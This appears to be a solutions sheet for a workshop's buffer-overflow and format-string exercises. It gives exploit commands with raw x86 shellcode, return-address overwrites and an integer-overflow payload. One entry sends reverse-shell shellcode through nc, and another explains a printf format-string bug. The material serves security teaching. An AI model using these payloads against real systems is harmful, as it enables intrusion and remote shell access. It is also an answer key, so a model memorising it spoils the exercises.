This file contains the solutions to our demos and exercises. Please include a short write up or description about the program, how to exploit it, and what the command for it is. We may hand this out at the end of the event.

//djiang7 … in progress

Be sure to turn off ASLR!

buffer\_overflow\_demo1:   
./buffer\_overflow\_demo1 "$(python -c 'print "A"\*132')"  
  
buffer\_overflow\_demo2:  
Similar to cs 460 lab. Need to put shellcode in buffer, overflow with A’s, overwrite ret addr with buffer addr to exec shellcode

./buffer\_overflow\_demo2 "$(python -c 'print "A"\*1028')"

Answer: # ./buffer\_overflow\_demo2 "$(python -c 'print "\x66\x81\xec\x01\x01\xbb\x21\x60\x57\x17\xda\xc2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0f\x31\x58\x13\x03\x58\x13\x83\xc0\x25\x82\xa2\x7d\x2e\x1a\xd4\xd0\x56\xf2\xcb\xb7\x1f\xe5\x7c\x17\x6c\x82\x7c\x0f\xbd\x30\x14\xa1\x48\x57\xb4\xd5\x5c\x98\x39\x26\x05\xfb\x51\x49\xe5\xb8\xce\xfb\x82\x4c\x70\x70\x39\xdd\x13\x0c\xa8\x72\xba\x9f\x0b\x8d\x15\x33\xc2\x6c\x54\x33" + "A"\*939+"\xd8\xc8\xff\xff"')"

The address of buffer is 0xffffc8d8

Congratulations!

Response:

The address of buffer is 0xffffc898

Congratulations!

buffer\_overflow\_example1:

Overflow buffer to overwrite secret password

./buffer\_overflow\_example1 "$(python -c 'print "A"\*32')"

buffer\_overflow\_example2:  
Buffer is too small; put shellcode after buffer. Overflow buffer, overwrite ret addr with an address after the ret addr location (buffer address + some amount),

./buffer\_overflow\_exercise2 `perl -e 'print("A"x20 . "\x70\xd0\xff\xff" . "\x66\x81\xec\x01\x01" . "\xbb\x21\x60\x57\x17\xda\xc2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0f\x31\x58\x13\x03\x58\x13\x83\xc0\x25\x82\xa2\x7d\x2e\x1a\xd4\xd0\x56\xf2\xcb\xb7\x1f\xe5\x7c\x17\x6c\x82\x7c\x0f\xbd\x30\x14\xa1\x48\x57\xb4\xd5\x5c\x98\x39\x26\x05\xfb\x51\x49\xe5\xb8\xce\xfb\x82\x4c\x70\x70\x39\xdd\x13\x0c\xa8\x72\xba\x9f\x0b\x8d\x15\x33\xc2\x6c\x54\x33")'`

The address of buffer is 0xffffd058

Congratulations!

buffer\_overflow\_example3:  
 integer overflow Need to overflow with at least 32668 A’s (to cause integer overflow on short int type.   
./buffer\_overflow\_example1 "$(python -c 'print "A"\*32768')"

Answer: # ./buffer\_overflow\_exercise3 "$(python -c 'print "\x66\x81\xec\x01\x01\xbb\x21\x60\x57\x17\xda\xc2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0f\x31\x58\x13\x03\x58\x13\x83\xc0\x25\x82\xa2\x7d\x2e\x1a\xd4\xd0\x56\xf2\xcb\xb7\x1f\xe5\x7c\x17\x6c\x82\x7c\x0f\xbd\x30\x14\xa1\x48\x57\xb4\xd5\x5c\x98\x39\x26\x05\xfb\x51\x49\xe5\xb8\xce\xfb\x82\x4c\x70\x70\x39\xdd\x13\x0c\xa8\x72\xba\x9f\x0b\x8d\x15\x33\xc2\x6c\x54\x33" +"A"\*941 + "\x96\x4c\xff\xff" + "A"\*31734')"

Response:

The address of buffer is 0xffff4c96

The length of the argument is -32768

Congratulations!

**bo\_exercise2:**

python -c 'print "A"\*24 + "\x0c\xcf\xff\xff" + "\x68**\xc0\xa8\x01\x0b**\x5e\x66\x68**\xd9\x03**\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"' | nc localhost 20002

**Strategy:** This will fill the 16 byte buffer, ebp, and overwrite the ret addr with the start of our shellcode. Instead of being inside the buffer, our shellcode starts after the ret address. This is because the given buffer is too small.

**What it does:** the shellcode opens a reverse shell to the ip address and port specified in the shellcode (bolded above).

**Warning:** The server returns the address of the buffer. Through painful debugging I found out that the address provided is 4096 bytes (0x01000) LESS than the actual buffer.

// Format\_String

USEFUL\_INFO.txt contains a link to a website that contains some explanations and visuals that might help with format string.

README.md contains how to compile the .c and turn off ASLR for Linux.

**fs\_example:** This is meant to be an example that shows very simply what happens when you provide more format specifiers than parameters.

./fs\_example

**fs\_1:** The vulnerability here is that a user-specified argument is passed directly to a printf() rather than by passing it as a parameter. Should be: printf(“%s”,arg[1]) but it is actually printf(arg[1]). Characters are not escaped, but instead “parameters” are taken off the stack.

./fs\_1 <anything containing %s>

./fs\_1 hello\_%s

./fs\_1 %s